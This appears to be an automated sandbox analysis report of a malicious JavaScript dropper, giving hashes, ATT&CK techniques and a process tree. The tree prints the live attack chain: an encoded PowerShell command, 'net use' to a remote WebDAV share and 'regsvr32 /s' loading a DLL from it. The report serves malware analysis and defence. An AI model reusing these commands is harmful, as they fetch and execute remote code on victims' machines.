ed7737992ecec4d21b6ff16c541d6cbcfe9e8b6de6c6e88349b0955e7d8deb09

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
25/07/2024, 16:47

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General

Target

2167027638826929472.js
Size

10KB
MD5

88437a047b77a324b3e9876cdb211e6b
SHA1

f65c026c697aec792b025322b918db68742a5555
SHA256

ed7737992ecec4d21b6ff16c541d6cbcfe9e8b6de6c6e88349b0955e7d8deb09
SHA512

f1de5912e050e77d066b9d275715fc426f9de0aa3055b184a16bf3782a6c2283bbd082ec2e34f1965b8a5fbcc57df67509bde9d1b4effa6461c1952dd5d3811e
SSDEEP

192:KA9u/yYTxCbrDpESnyOrTfCsE+6382Ixs5bageoyOqPMPSeV+1ez9+hvJHxHvm+d:r3

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2476	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2476	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2632 wrote to memory of 2476	2632	wscript.exe	31
PID 2632 wrote to memory of 2476	2632	wscript.exe	31
PID 2632 wrote to memory of 2476	2632	wscript.exe	31
PID 2476 wrote to memory of 2692	2476	powershell.exe	33
PID 2476 wrote to memory of 2692	2476	powershell.exe	33
PID 2476 wrote to memory of 2692	2476	powershell.exe	33
PID 2476 wrote to memory of 2748	2476	powershell.exe	34
PID 2476 wrote to memory of 2748	2476	powershell.exe	34
PID 2476 wrote to memory of 2748	2476	powershell.exe	34
PID 2476 wrote to memory of 2748	2476	powershell.exe	34
PID 2476 wrote to memory of 2748	2476	powershell.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2167027638826929472.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADAANAA2ADYAMgAzADkANAA0ADIAMwAwADQANwAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2692
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\104662394423047.dll
    3⤵
    PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2476-4-0x000007FEF61EE000-0x000007FEF61EF000-memory.dmp

Filesize
4KB

Download
memory/2476-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2476-7-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2476-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2476-8-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2476-9-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2476-10-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2476-11-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download